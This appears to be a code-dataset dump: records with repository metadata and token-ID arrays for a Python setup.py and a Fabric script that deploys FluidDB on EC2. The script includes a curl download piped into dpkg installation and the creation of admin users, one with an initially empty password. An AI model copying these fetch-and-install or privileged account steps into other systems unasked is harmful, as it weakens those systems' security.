10456, 5085, 1125, 13, 1678, 402, 2227, 29949, 29889, 14941, 786, 580, 13, 1678, 1596, 703, 29924, 327, 272, 3883, 23511, 29185, 1159, 13, 1678, 10876, 29889, 13322, 580, 13, 13, 1753, 1667, 7295, 13, 1678, 7182, 29889, 25436, 29898, 25436, 29889, 5425, 29954, 10192, 29892, 8174, 29897, 13, 1678, 7182, 29889, 25436, 29898, 25436, 29889, 5425, 29954, 4945, 29924, 29892, 8174, 29897, 13, 1678, 3883, 353, 16843, 7355, 29898, 17744, 26785, 29892, 349, 8476, 29897, 13, 1678, 3883, 29889, 3389, 580, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1667, 580, 2 ]
setup.py
zojabutenko/palmetto-py
0
63779
<gh_stars>0 from distutils.core import setup setup( name = 'palmettopy', packages = ['palmettopy'], # this must be the same as the name above version = 'v3.2', description = 'Palmetto Python Interface', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/earthquakesan/palmetto-py', # use the URL to the github repo download_url = 'https://github.com/earthquakesan/palmetto-py/archive/v3.1.tar.gz', keywords = ['aksw', 'nlp', 'semantic-web'], # arbitrary keywords classifiers = [], install_requires=[ 'requests' ], )
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 1320, 13239, 29889, 3221, 1053, 6230, 13, 14669, 29898, 13, 29871, 1024, 353, 525, 7830, 29885, 1803, 2270, 742, 13, 29871, 9741, 353, 6024, 7830, 29885, 1803, 2270, 7464, 396, 445, 1818, 367, 278, 1021, 408, 278, 1024, 2038, 13, 29871, 1873, 353, 525, 29894, 29941, 29889, 29906, 742, 13, 29871, 6139, 353, 525, 18210, 2527, 517, 5132, 25796, 742, 13, 29871, 4148, 353, 12801, 5813, 29958, 742, 13, 29871, 4148, 29918, 5269, 353, 12801, 26862, 6227, 29958, 742, 13, 29871, 3142, 353, 525, 991, 597, 3292, 29889, 510, 29914, 799, 386, 339, 6926, 273, 29914, 7830, 2527, 517, 29899, 2272, 742, 396, 671, 278, 3988, 304, 278, 18546, 13761, 13, 29871, 5142, 29918, 2271, 353, 525, 991, 597, 3292, 29889, 510, 29914, 799, 386, 339, 6926, 273, 29914, 7830, 2527, 517, 29899, 2272, 29914, 10867, 29914, 29894, 29941, 29889, 29896, 29889, 12637, 29889, 18828, 742, 29871, 13, 29871, 29361, 353, 6024, 557, 2774, 742, 525, 12938, 29886, 742, 525, 12846, 7716, 29899, 2676, 7464, 396, 11472, 29361, 13, 29871, 770, 14903, 353, 19997, 13, 29871, 2601, 29918, 276, 339, 2658, 11759, 13, 1678, 525, 24830, 29915, 13, 29871, 21251, 13, 29897, 13, 2 ]
fluiddb/scripts/deployment.py
fluidinfo/fluiddb
3
163689
<gh_stars>1-10 from ConfigParser import RawConfigParser from datetime import datetime from getpass import getpass import logging import os import time import random import crypt from boto.ec2.connection import EC2Connection from boto.exception import EC2ResponseError from fabric.context_managers import cd, settings from fabric.contrib.files import sed, exists from fabric.operations import local, put, sudo, run, reboot, get from fabric.state import env from string import ascii_letters, digits def _hashPassword(password): """Return {password} hashed with a random salt.""" charset = './' + ascii_letters + digits return crypt.crypt(password, ''.join(random.sample(charset, 2))) def createDisk(instanceID, devicePrefix, raidDevice, numVolumes, volumeSize, mountPath, namePrefix): """Create a new disk for storage using a RAID array or a single EBS volume. @param instanceID: The AWS instance ID to create the disk on. e.g. 'i-bf948fce' @param devicePrefix: The prefix used for devices for volumes. e.g. '/dev/sdn1'. @param raidDevice: If the disk is going to be a RAID array, specify the device to use for the RAID. e.g '/dev/md6' @param numVolumes: The number of EBS volumes to create. More than 1 will create a RAID array. @param volumeSize: The size in GiB for each volume. @param mountPath: The path where the new disk is going to be mounted. e.g '/var/lib/fluidinfo/test' @param: owner: The user who will be the owner of the mounted disk. e.g. 'fluidinfo' """ assert numVolumes > 0 assert 0 < volumeSize < 1000 if numVolumes > 1: assert raidDevice is not None print 'Getting instance information.' ec2 = EC2Connection() instance = ec2.get_all_instances([instanceID])[0].instances[0] zone = instance.placement volumes = [] for i in range(numVolumes): device = devicePrefix + str(i + 1) print 'Creating volume for', device volume = ec2.create_volume(volumeSize, zone) volume.attach(instanceID, device) volumes.append(volume) if namePrefix is not None: volume.add_tag( 'Name', '{0} ({1})'.format(namePrefix, device.split('/')[-1])) pendingVolumes = set(volumes) while pendingVolumes: print 'Attaching volumes.', len(pendingVolumes), 'remaining.' time.sleep(1) for volume in list(pendingVolumes): try: volume.update() except EC2ResponseError: print 'Response error.' print "Don't panic, this usually happens, trying again." if volume.attachment_state() == u'attached': pendingVolumes.remove(volume) print 'All volumes attached: ', ''.join(volume.id for volume in volumes) env.host_string = instance.dns_name if len(volumes) > 1: sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y mdadm') print 'Creating RAID array.' devices = [volume.attach_data.device.replace('/dev/sd', '/dev/xvd') for volume in volumes] devices = ' '.join(devices) sudo('mdadm --create {0} --level raid10 --auto=yes --assume-clean ' '--raid-devices {1} {2}'.format(raidDevice, numVolumes, devices)) sudo('echo DEVICE {0} >> /etc/mdadm/mdadm.conf'.format(devices)) sudo('mdadm --detail --scan | grep {0} | ' 'sudo tee -a /etc/mdadm/mdadm.conf'.format(raidDevice)) # Tell the kernel to use the specified configurationg, otherwise it # will use something like /dev/md127 sudo('update-initramfs -u') device = raidDevice else: device = volumes[0].attach_data.device.replace('/dev/sd', '/dev/xvd') print 'Formating device.' sudo('mkfs.ext4 {0}'.format(device)) sudo('echo "{0} {1} ext4 noatime 0 0" >> /etc/fstab'.format(device, mountPath)) print 'Mounting device.' sudo('mkdir -p {0}'.format(mountPath)) sudo('mount %s' % mountPath) print 'Success.' def bootstrapFluidDB(serverName, databaseURI, solrURL, solrShards, createSchema=None, solrImport=None): """Bootstraps a fluidDB deployment. This installs dependencies, uploads the fluiddb source code and sets up the necessary configuration files. This only bootstraps FluidDB. Postgres, Solr and other services require other commands. """ # Install requirements sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y ' 'bzr git postgresql-server-dev-9.1 python-dev python-pip ' 'python-virtualenv make logrotate openntpd') # Create a 'fluidinfo' user sudo('sudo adduser --system --home /var/lib/fluidinfo ' ' --gecos "Fluidinfo,,," --disabled-password ' ' --shell /bin/bash fluidinfo') sudo('chown -R fluidinfo /var/lib/fluidinfo') # Upload and set up the code. deploymentPath = os.path.join('/srv', serverName) revision = datetime.utcnow().strftime('%Y%m%d-%H%M') revisionPath = os.path.join(deploymentPath, revision) sudo('mkdir -p {0}'.format(revisionPath)) sudo('chown -R fluidinfo {0}'.format(deploymentPath)) local('git archive --prefix=fluidinfo/ -v --format tar HEAD | ' 'bzip2 > fluidinfo.tar.bz2') put('fluidinfo.tar.bz2') sudo('cp fluidinfo.tar.bz2 {0}'.format(revisionPath)) with cd(revisionPath): sudo('chown -R fluidinfo {0}'.format(revisionPath)) sudo('chown fluidinfo fluidinfo.tar.bz2') sudo('tar jxvf fluidinfo.tar.bz2', user='fluidinfo') sudo('mkdir -p var/log var/log/trace var/run var/tmp', user='fluidinfo') with cd(os.path.join(revisionPath, 'fluidinfo')): sudo('virtualenv .', user='fluidinfo') sudo('mkdir -p /var/lib/fluidinfo/pip-cache', user='fluidinfo') sudo('./bin/pip install --use-mirrors ' '--download-cache=/var/lib/fluidinfo/pip-cache ' '--log /tmp/pip.log ' '-r requirements.txt', user='fluidinfo') if createSchema: sudo('bin/python bin/fluidinfo ' ' bootstrap-database {0}'.format(databaseURI), user='fluidinfo') # We use this to make sure that the database is properly configured. sudo('bin/python bin/fluidinfo ' ' patch-status {0}'.format(databaseURI), user='fluidinfo') # Run full DIH on all solr shards. if solrImport: for shard in solrShards.split(','): run('curl http://{0}/dataimport?command=full-import&' 'clean=true&commit=true&optimize=false'.format(shard)) # On successful completion, clean up /tmp sudo('rm -f /tmp/pip.log') # Copy and setup configuration files. deployConfigFiles( {'deployment-path': deploymentPath, 'server-name': serverName, 'revision-path': revisionPath, 'solr-url': solrURL, 'solr-shards': solrShards, 'postgres-uri': databaseURI}, ('fluidinfo/fluidinfo-api.conf.template', '{revision-path}/fluidinfo-api.conf'), ('logrotate/fluidinfo-api.template', '/etc/logrotate.d/fluidinfo-api'), ('upstart/fluidinfo-api.conf.template', '/etc/init/fluidinfo-api.conf'), ('upstart/fluidinfo-api-node.conf.template', '/etc/init/fluidinfo-api-node.conf'), ('ntpd/ntpd.conf', '/etc/openntpd/ntpd.conf')) with cd(deploymentPath): sudo('ln -fs {0} current'.format(revision)) sudo('/etc/init.d/openntpd restart') sudo('start fluidinfo-api') def updateFluidDB(serverName): """Update a FluidDB deployment. This installs dependencies, uploads the fluiddb source code and sets up the necessary configuration files. This only updates FluidDB. Postgres, Solr and other services require other commands. If the server is new, you should use L{bootstrapFluidDB} instead. """ # Upload and set up the code. deploymentPath = os.path.join('/srv', serverName) revision = datetime.utcnow().strftime('%Y%m%d-%H%M') revisionPath = os.path.join(deploymentPath, revision) sudo('mkdir -p {0}'.format(revisionPath)) local('git archive --prefix=fluidinfo/ -v --format tar HEAD | ' 'bzip2 > fluidinfo.tar.bz2') put('fluidinfo.tar.bz2', revisionPath, use_sudo=True) with cd(revisionPath): sudo('mkdir -p var/log var/log/trace var/run var/tmp') sudo('chown -R fluidinfo {0}'.format(revisionPath)) sudo('tar jxvf fluidinfo.tar.bz2', user='fluidinfo') with cd(os.path.join(revisionPath, 'fluidinfo')): sudo('virtualenv .', user='fluidinfo') sudo('mkdir -p /var/lib/fluidinfo/pip-cache', user='fluidinfo') sudo('./bin/pip install --use-mirrors ' '--download-cache=/var/lib/fluidinfo/pip-cache ' '--log /tmp/pip.log ' '-r requirements.txt', user='fluidinfo') # On successful completion, clean up /tmp sudo('rm -f /tmp/pip.log') get(os.path.join(deploymentPath, 'current', 'fluidinfo-api.conf'), 'fluidinfo-api.conf') config = RawConfigParser() with open('fluidinfo-api.conf', 'r') as configFile: config.readfp(configFile) # Copy and set up configuration files. deployConfigFiles( {'deployment-path': deploymentPath, 'server-name': serverName, 'revision-path': revisionPath, 'solr-url': config.get('index', 'url'), 'solr-shards': config.get('index', 'shards'), 'postgres-uri': config.get('store', 'main-uri')}, ('fluidinfo/fluidinfo-api.conf.template', '{revision-path}/fluidinfo-api.conf')) local('rm fluidinfo-api.conf') # TODO: check patches. # TODO: update version tag. with cd(deploymentPath): sudo('rm current') sudo('ln -fs {0} current'.format(revision)) for port in range(9001, 9009): sudo('restart fluidinfo-api-node PORT=%d' % port) def bootstrapPostgres(serverName, awsAccessKey=None, awsSecretKey=None): """Bootstraps Postgres to work with FluidDB. This installs dependencies and sets up the necessary configuration files. This only bootstraps Postgres. FluidDB, Solr and other services require other commands. """ # Install requirements sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y ' 'postgresql-9.1') sudo('/etc/init.d/postgresql stop') sudo('mkdir -p /var/lib/postgresql/scripts') sudo('mkdir -p /var/lib/postgresql/backup') deploymentPath = os.path.join('/srv', serverName) deployConfigFiles( {'server-name': serverName, 'aws-access-key': awsAccessKey, 'aws-secret-key': awsSecretKey, 'deployment-path': deploymentPath}, ('postgres/postgresql.conf', '/etc/postgresql/9.1/main/postgresql.conf'), ('postgres/pg_hba.conf', '/etc/postgresql/9.1/main/pg_hba.conf'), ('postgres/backup.sh.template', '/var/lib/postgresql/scripts/backup.sh'), ('postgres/clean-dirty-objects.sh', '/var/lib/postgresql/scripts/clean-dirty-objects.sh'), ('postgres/crontab', '/var/lib/postgresql/scripts/crontab'), ('s3/boto.cfg.template', '/etc/boto.cfg')) sudo('chown -R postgres:postgres /var/lib/postgresql/scripts') sudo('chown -R postgres:postgres /var/lib/postgresql/backup') sudo('chmod +x /var/lib/postgresql/scripts/backup.sh') sudo('chmod +x /var/lib/postgresql/scripts/clean-dirty-objects.sh') sudo('crontab -u postgres /var/lib/postgresql/scripts/crontab') sudo('/etc/init.d/postgresql start') # Configure postgres sudo('createuser -D -R -S -w fluidinfo', user='postgres') sudo('createdb fluidinfo -O fluidinfo', user='postgres') sudo("""echo "ALTER ROLE fluidinfo WITH ENCRYPTED PASSWORD '<PASSWORD>'" | psql fluidinfo""", user='postgres') def bootstrapSolr(serverName, databaseURI, numShards, shardID): """Bootstraps Solr to work with FluidDB. This installs dependencies and sets up the necessary configuration files. This only bootstraps Solr. FluidDB, Postgres and other services require other commands. """ # Install requirements sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y ' 'ant junit4 libpg-java solr-common solr-tomcat tomcat6 ' 'openjdk-6-jdk libcommons-lang-java libvelocity-tools-java') location = "https://launchpad.net/~fluidinfo/+archive/fluiddb/+files/" packages = [ 'libnoggit-java_0.1-SNAPSHOT%2Bsvn1143083-1~ppa1~lucid2_all.deb', 'solr-common_3.4.0-0~ppa3~lucid2_all.deb', 'solr-tomcat_3.4.0-0~ppa3~lucid2_all.deb' ] for package in packages: sudo('curl -L {0} > /tmp/{1}'.format(location + package, package)) sudo('dpkg -i /tmp/{0}'.format(package)) sudo('rm -f /tmp/{0}'.format(package)) # Upload and set up the code. local('tar -jcvf solr.tar.bz2 build.xml java') put('solr.tar.bz2') run('tar -jxvf solr.tar.bz2') run('ant jar') sudo('ln -fs /usr/share/java/postgresql.jar /usr/share/solr/WEB-INF/lib/') sudo('ln -fs /usr/share/java/noggit.jar /usr/share/solr/WEB-INF/lib/') deployConfigFiles( {'postgres-uri': databaseURI, 'server-name': serverName, 'num-shards': str(numShards), 'shard-id': str(shardID)}, ('solr/schema.xml', '/etc/solr/conf/schema.xml'), ('solr/solrconfig.xml', '/etc/solr/conf/solrconfig.xml'), ('solr/dataimport.properties', '/etc/solr/conf/dataimport.properties'), ('solr/data-config.xml.template', '/etc/solr/conf/data-config.xml'), ('solr/web.xml', '/etc/solr/web.xml')) sudo('chown tomcat6:tomcat6 /etc/solr/conf/dataimport.properties') sudo('cp dist/tagvaluetransformer.jar /usr/share/solr/WEB-INF/lib') sudo('/etc/init.d/tomcat6 restart') def bootstrapRedis(serverName): """Bootstraps Redis to work with FluidDB. This installs dependencies and sets up the necessary configuration files. This only bootstraps Redis. FluidDB, Postgres and other services require other commands. """ # Install requirements sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y ' 'redis-server') deployConfigFiles( {'server-name': serverName}, ('redis/redis.conf', '/etc/redis/redis.conf')) def bootstrapFrontend(serverName, serverPort, sslPublicCertPath, sslPrivateCertPath): """Bootstraps the web server and proxy to work with FluidDB. This installs dependencies and sets up the necessary configuration files. """ # Upload files put(sslPublicCertPath, 'fluidinfo.pem') put(sslPrivateCertPath, 'fluidinfo.key') # Install requirements. sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y nginx haproxy') # Set up haproxy. sudo('/etc/init.d/haproxy stop') deployConfigFiles( {'server-name': serverName}, ('haproxy/haproxy.cfg', '/etc/haproxy/haproxy.cfg'), ('haproxy/haproxy-default', '/etc/default/haproxy')) sudo('mkdir -p ../var/run/haproxy') sudo('chown haproxy:haproxy ../var/run/haproxy') sudo('/etc/init.d/haproxy start') sudo('curl --silent http://127.0.0.1:9000 > /dev/null && echo Works!') # Set up nginx. sudo('/etc/init.d/nginx stop') sudo('mkdir -p /etc/nginx/ssl') sudo('mv fluidinfo.pem /etc/nginx/ssl') sudo('chmod 600 /etc/nginx/ssl/fluidinfo.pem') sudo('mkdir -p /var/lib/fluidinfo/logs') sudo('mv fluidinfo.key /etc/nginx/ssl') sudo('chmod 600 /etc/nginx/ssl/fluidinfo.key') deployConfigFiles( {'server-name': serverName}, ('nginx/fluidinfo-secure.conf.template', '/etc/nginx/sites-available/{server-name}')) sudo('ln -sf /etc/nginx/sites-available/{0} ' '/etc/nginx/sites-enabled/{0}'.format(serverName)) sudo('rm -f /etc/nginx/sites-enabled/default') sudo('/etc/init.d/nginx start') time.sleep(1) sudo('curl --silent http://127.0.0.1:%d > /dev/null && echo Works!' % serverPort) def deployConfigFiles(templateData, *files): """ Deploy configuration files, filling template fields with real deployment data. @param templateData: A C{dict} with the data to fill the templates. @param *files: A list C{(source, destination)} with information about what files to copy """ serverName = templateData['server-name'] for origin, destination in files: specificFilename = os.path.join('deployment', serverName, origin) defaultFilename = os.path.join('deployment', 'default', origin) origin = (specificFilename if os.path.exists(specificFilename) else defaultFilename) destination = destination.format(**templateData) put(origin, destination, use_sudo=True) for key, value in templateData.iteritems(): sed(destination, '\{\{ %s \}\}' % key, value.replace('.', r'\.'), use_sudo=True) def authorizeSshKey(username, sshId): """Add specified SSH public key to the user's ~/.ssh/authorized_keys. If there is no such file, one will be created for the user. @param username: The name of the user whose authorized_keys is being updated. @param sshId: Path to SSH public key (usually ~/.ssh/id_rsa.pub) """ with settings(user='ubuntu', key_filename=os.environ['EC2_KEYPAIR_PATH']): sshPath = os.path.join('~%s' % username, '.ssh') sudo('mkdir -p %s' % sshPath) sudo('chmod 700 %s' % sshPath) sudo('chown %s:%s %s' % (username, username, sshPath)) authorizedKeysPath = os.path.join(sshPath, 'authorized_keys') pubKey = open(sshId, 'r').readline().strip() sudo("echo '%s' >> %s" % (pubKey, authorizedKeysPath)) sudo('chmod 600 %s' % authorizedKeysPath) sudo('chown %s:%s %s' % (username, username, authorizedKeysPath)) def addAdmin(username, sshId, user, identity): """Add a user with admin privileges to an Ubuntu server. @param username: The name of the new user. @param sshId: Path to SSH public key (usually ~/.ssh/id_rsa.pub) @param user: Optionally, the user to connect as. @param identity: Optionally, the SSH identity to use when connecting. """ if identity: env.key_filename = identity if user: env.user = user sudo('adduser --disabled-password --gecos ",,," %s' % username) sudo('usermod -p "" %s' % username) sudo('chage -d 0 %s' % username) sudo('gpasswd --add %s admin' % username) authorizeSshKey(username, sshId) def prepareInstance(username, sshId): """Prepare an instance updating the packages and creating a new user. @param username: The name of the new user. @param sshId: Path to SSH public key (usually ~/.ssh/id_rsa.pub) """ print os.environ['EC2_KEYPAIR_PATH'] with settings(user='ubuntu', key_filename=os.environ['EC2_KEYPAIR_PATH']): password = getpass('Enter a new password for user %s:' % username) password2 = getpass('Enter the password a again:') if password != password2: raise RuntimeError("Passwords don't match") sudo('adduser --disabled-password --gecos ",,," %s' % username) cryptedPassword = _hashPassword(password) sudo('usermod --password %s %s' % (cryptedPassword, username)) sudo('gpasswd --add %s admin' % username) authorizeSshKey(username, sshId) sudo('apt-get update') sudo('DEBIAN_FRONTEND=noninteractive apt-get dist-upgrade -y') if exists('/var/run/reboot-required'): reboot() def ping(): """Ping the server.""" sudo('pwd') def prepareFluidinfo(runTests): """Prepare a Fluidinfo source tarball using the local branch. @param runTests: A flag to determine if the test suite should be run. @return: The name of the revision being deployed as a string matching the format, C{<date>-<time>}. """ if runTests: local('make build-clean build', capture=False) local('make check-all', capture=False) local('git archive --prefix=fluidinfo/ -v --format tar HEAD | ' 'bzip2 > fluidinfo.tar.bz2') return datetime.utcnow().strftime('%Y%m%d-%H%M') def installDevelopmentPackageDependencies(): """Install package dependencies needed to compile C extensions.""" sudo('DEBIAN_FRONTEND=noninteractive ' 'apt-get install -y gcc python-all-dev') def uninstallDevelopmentPackageDependencies(): """Uninstall package dependencies needed to compile C extensions.""" sudo('DEBIAN_FRONTEND=noninteractive ' 'apt-get remove -y --purge gcc python-all-dev') sudo('DEBIAN_FRONTEND=noninteractive ' 'apt-get autoremove -y') def stopStorageServices(): """Stop PostgreSQL and Solr services.""" sudo('/etc/init.d/tomcat6 stop') sudo('/etc/init.d/postgresql-8.4 stop') def startStorageServices(): """Start PostgreSQL and Solr services.""" sudo('/etc/init.d/tomcat6 start') sudo('/etc/init.d/postgresql-8.4 start') def deployFluidinfo(deploymentPath, revision): """Deploy Fluidinfo source code to the remote server. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. """ homePath = os.path.join('/home', env.user) revisionPath = os.path.join(deploymentPath, revision) sudo('mkdir -p %s' % revisionPath) put('fluidinfo.tar.bz2', homePath) filePath = os.path.join(homePath, 'fluidinfo.tar.bz2') sudo('cp %s %s' % (filePath, revisionPath)) with cd(revisionPath): sudo('chown -R fluidinfo %s' % revisionPath) sudo('chown fluidinfo fluidinfo.tar.bz2') sudo('tar jxvf fluidinfo.tar.bz2', user='fluidinfo') sudo('mkdir -p var/log var/log/trace var/run var/tmp', user='fluidinfo') with cd(os.path.join(revisionPath, 'fluidinfo')): sudo('virtualenv .', user='fluidinfo') sudo('./bin/pip install --use-mirrors ' '--download-cache=/var/lib/fluidinfo/source-dependencies ' '-r requirements.txt', user='fluidinfo') ## Copy configuration files serverName = os.path.basename(deploymentPath) templateData = {'deployment-path': deploymentPath, 'server-name': serverName} fileCopies = [ ('fluidinfo/fluidinfo-api.conf.template', '../fluidinfo-api.conf'), ('cron/postgres-crontab.template', '../scripts/postgres-crontab'), ('cron/fluidinfo-crontab.template', '../scripts/fluidinfo-crontab'), ('cron/backup-postgresql.sh.template', '../scripts/backup-postgresql.sh'), ('cron/metrics.sh', '../scripts/metrics.sh'), ('cron/time-fluidinfo.py', '../scripts/time-fluidinfo.py'), ('cron/solr-optimize.sh', '../scripts/solr-optimize.sh') # TODO: Copy configuration files for nginx, haproxy, logrotate and # upstart, these require service restarts if files have changed. ] with cd(os.path.join(revisionPath, 'fluidinfo')): sudo('mkdir ../scripts') for origin, destination in fileCopies: specificFilename = os.path.join('deployment', serverName, origin) defaultFilename = os.path.join('deployment', 'default', origin) origin = (specificFilename if os.path.exists(specificFilename) else defaultFilename) sudo('cp {origin} {destination}'.format(**locals())) for key, value in templateData.iteritems(): value = value.replace('.', r'\.').replace('/', '\/') expression = r's/{{ %s }}/%s/g' % (key, value) sudo("sed -i -e '%s' %s" % (expression, destination)) sudo('chmod +x ../scripts/backup-postgresql.sh') sudo('crontab -u postgres ../scripts/postgres-crontab') sudo('crontab -u fluidinfo ../scripts/fluidinfo-crontab') def switchRevision(deploymentPath, revision): """Set the Fluidinfo deployment to a particular revision.""" with cd(deploymentPath): sudo('rm -f current') sudo('ln -s %s current' % revision) def startFluidinfo(): """Start the pool of Fluidinfo API services.""" sudo('start fluidinfo-api') sudo('/etc/init.d/haproxy start') sudo('/etc/init.d/nginx start') def stopFluidinfo(): """Stop the pool of Fluidinfo API services.""" for port in range(9001, 9009): sudo('stop fluidinfo-api-node PORT=%d || true' % port) sudo('/etc/init.d/nginx stop') sudo('/etc/init.d/haproxy stop') def restartFluidinfo(): """Restart the pool of Fluidinfo API services without downtime. Also send a SIGUSR1 to Nginx to make it reopen log files (in the new code bundle directory). """ for port in range(9001, 9009): sudo('stop fluidinfo-api-node PORT=%d || true' % port) sudo('start fluidinfo-api-node PORT=%d' % port) with settings(warn_only=True): sudo('kill -USR1 $(cat /var/run/nginx.pid)') def updateVersionTag(deploymentPath, revision): """Updates the fluiddb/version tag for changes in the API. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. """ fluidinfoPath = os.path.join(deploymentPath, revision, 'fluidinfo') with cd(fluidinfoPath): with open('deployment/api-version.txt') as versionFile: version = versionFile.read() sudo('bin/python bin/fluidinfo update-version-tag ' 'postgres:///fluidinfo ' '%s' % version, user='fluidinfo') def clearRedisCache(deploymentPath, revision): """Clear redis cache after deployment. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. """ fluidinfoPath = os.path.join(deploymentPath, revision, 'fluidinfo') with cd(fluidinfoPath): sudo('bin/python bin/fluidinfo clear-cache', user='fluidinfo') def hasUnappliedDatabasePatches(deploymentPath, revision): """Determine if there are database patches to apply. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. @return: C{True} if there are outstanding patches, otherwise C{False}. """ path = os.path.join(deploymentPath, revision, 'fluidinfo') with cd(path): with settings(warn_only=True): out = sudo('bin/python bin/fluidinfo ' 'patch-status postgres:///fluidinfo', user='fluidinfo') return out.return_code != 0 def applyDatabasePatches(deploymentPath, revision): """Apply database patches. The PostgreSQL database will be backed up before patches are applied, which means this could potentially take some time to run. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. """ path = os.path.join(deploymentPath, revision, 'fluidinfo') postgresBackupScript = os.path.join(deploymentPath, revision, 'scripts', 'backup-postgresql.sh') with cd(path): with settings(warn_only=True): sudo('killall psql', user='postgres') logging.info('Backing up the Postgres database.') sudo(postgresBackupScript, user='postgres') sudo('bin/python bin/fluidinfo ' 'patch-database postgres:///fluidinfo', user='fluidinfo')
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 12782, 11726, 1053, 22038, 3991, 11726, 13, 3166, 12865, 1053, 12865, 13, 3166, 679, 3364, 1053, 679, 3364, 13, 5215, 12183, 13, 5215, 2897, 13, 5215, 931, 13, 5215, 4036, 13, 5215, 24941, 13, 13, 3166, 289, 3747, 29889, 687, 29906, 29889, 9965, 1053, 17522, 29906, 5350, 13, 3166, 289, 3747, 29889, 11739, 1053, 17522, 29906, 5103, 2392, 13, 3166, 18187, 29889, 4703, 29918, 1171, 18150, 1053, 14965, 29892, 6055, 13, 3166, 18187, 29889, 21570, 29889, 5325, 1053, 7048, 29892, 4864, 13, 3166, 18187, 29889, 3372, 800, 1053, 1887, 29892, 1925, 29892, 9196, 29892, 1065, 29892, 22538, 29892, 679, 13, 3166, 18187, 29889, 3859, 1053, 8829, 13, 3166, 1347, 1053, 408, 18869, 29918, 1026, 2153, 29892, 13340, 13, 13, 13, 1753, 903, 8568, 10048, 29898, 5630, 1125, 13, 1678, 9995, 11609, 426, 5630, 29913, 6608, 287, 411, 263, 4036, 15795, 1213, 15945, 13, 1678, 17425, 353, 19283, 29915, 718, 408, 18869, 29918, 1026, 2153, 718, 13340, 13, 1678, 736, 24941, 29889, 29883, 4641, 29898, 5630, 29892, 525, 4286, 7122, 29898, 8172, 29889, 11249, 29898, 3090, 842, 29892, 29871, 29906, 4961, 13, 13, 13, 1753, 1653, 29928, 3873, 29898, 8758, 1367, 29892, 4742, 23095, 29892, 1153, 333, 11501, 29892, 954, 13072, 9351, 29892, 7977, 3505, 29892, 13, 1669, 5766, 2605, 29892, 1024, 23095, 1125, 13, 1678, 9995, 4391, 263, 716, 8086, 363, 8635, 773, 263, 18865, 1367, 1409, 470, 263, 2323, 382, 9851, 7977, 29889, 13, 13, 1678, 732, 3207, 2777, 1367, 29901, 450, 15540, 2777, 3553, 304, 1653, 278, 8086, 373, 29889, 13, 4706, 321, 29889, 29887, 29889, 525, 29875, 29899, 1635, 29929, 29946, 29947, 29888, 346, 29915, 13, 1678, 732, 3207, 4742, 23095, 29901, 450, 10944, 1304, 363, 9224, 363, 18167, 29889, 13, 4706, 321, 29889, 29887, 29889, 8207, 3359, 29914, 4928, 29876, 29896, 4286, 13, 1678, 732, 3207, 1153, 333, 11501, 29901, 960, 278, 8086, 338, 2675, 304, 367, 263, 18865, 1367, 1409, 29892, 6084, 278, 13, 4706, 4742, 304, 671, 363, 278, 18865, 1367, 29889, 13, 4706, 321, 29889, 29887, 8207, 3359, 29914, 3487, 29953, 29915, 13, 1678, 732, 3207, 954, 13072, 9351, 29901, 450, 1353, 310, 382, 9851, 18167, 304, 1653, 29889, 13, 4706, 5853, 1135, 29871, 29896, 674, 1653, 263, 18865, 1367, 1409, 29889, 13, 1678, 732, 3207, 7977, 3505, 29901, 450, 2159, 297, 4406, 29933, 363, 1269, 7977, 29889, 13, 1678, 732, 3207, 5766, 2605, 29901, 450, 2224, 988, 278, 716, 8086, 338, 2675, 304, 367, 19239, 29889, 13, 4706, 321, 29889, 29887, 8207, 1707, 29914, 1982, 29914, 1579, 5416, 3888, 29914, 1688, 29915, 13, 1678, 732, 3207, 29901, 12271, 29901, 450, 1404, 1058, 674, 367, 278, 12271, 310, 278, 19239, 8086, 29889, 13, 4706, 321, 29889, 29887, 29889, 525, 1579, 5416, 3888, 29915, 13, 1678, 9995, 13, 1678, 4974, 954, 13072, 9351, 1405, 29871, 29900, 13, 1678, 4974, 29871, 29900, 529, 7977, 3505, 529, 29871, 29896, 29900, 29900, 29900, 13, 1678, 565, 954, 13072, 9351, 1405, 29871, 29896, 29901, 13, 4706, 4974, 1153, 333, 11501, 338, 451, 6213, 13, 13, 1678, 1596, 525, 2577, 1259, 2777, 2472, 6169, 13, 1678, 21226, 29906, 353, 17522, 29906, 5350, 580, 13, 1678, 2777, 353, 21226, 29906, 29889, 657, 29918, 497, 29918, 2611, 2925, 4197, 8758, 1367, 2314, 29961, 29900, 1822, 2611, 2925, 29961, 29900, 29962, 13, 1678, 10640, 353, 2777, 29889, 29886, 9552, 13, 13, 1678, 18167, 353, 5159, 13, 1678, 363, 474, 297, 3464, 29898, 1949, 13072, 9351, 1125, 13, 4706, 4742, 353, 4742, 23095, 718, 851, 29898, 29875, 718, 29871, 29896, 29897, 13, 4706, 1596, 525, 9832, 1218, 7977, 363, 742, 4742, 13, 4706, 7977, 353, 21226, 29906, 29889, 3258, 29918, 24623, 29898, 24623, 3505, 29892, 10640, 29897, 13, 4706, 7977, 29889, 14930, 29898, 8758, 1367, 29892, 4742, 29897, 13, 4706, 18167, 29889, 4397, 29898, 24623, 29897, 13, 4706, 565, 1024, 23095, 338, 451, 6213, 29901, 13, 9651, 7977, 29889, 1202, 29918, 4039, 29898, 13, 18884, 525, 1170, 742, 22372, 29900, 29913, 21313, 29896, 1800, 4286, 4830, 29898, 978, 23095, 29892, 4742, 29889, 5451, 11219, 1495, 14352, 29896, 12622, 13, 13, 1678, 28235, 13072, 9351, 353, 731, 29898, 1555, 9351, 29897, 13, 1678, 1550, 28235, 13072, 9351, 29901, 13, 4706, 1596, 525, 4165, 9733, 18167, 29889, 742, 7431, 29898, 29886, 2548, 13072, 9351, 